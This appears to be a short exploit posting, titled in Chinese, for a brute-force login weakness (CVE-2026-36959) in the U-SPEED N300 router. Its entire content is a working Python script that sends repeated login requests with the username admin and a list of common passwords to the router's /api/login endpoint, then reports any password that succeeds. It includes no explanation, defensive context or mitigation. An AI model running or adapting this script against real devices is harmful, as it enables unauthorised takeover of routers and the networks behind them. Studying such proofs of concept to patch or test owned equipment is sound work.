CVE-2026-36959 U-SPEED N300路由器暴力破解漏洞

import requests # Target configuration target_url = "http://<ROUTER_IP>/api/login" username = "admin" # Common password list for demonstration password_list = ["admin", "password", "12345678", "root", "admin123"] print(f"[*] Starting brute force attack on {target_url}") for password in password_list: payload = { "username": username, "password": password } try: # Send login request response = requests.post(target_url, json=payload, timeout=5) # Check for successful login indicators (adjust based on actual response) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] SUCCESS! Password found: {password}") print(f"[+] Response: {response.text}") break else: print(f"[-] Failed attempt with password: {password}") except requests.RequestException as e: print(f"[!] Connection error: {e}") break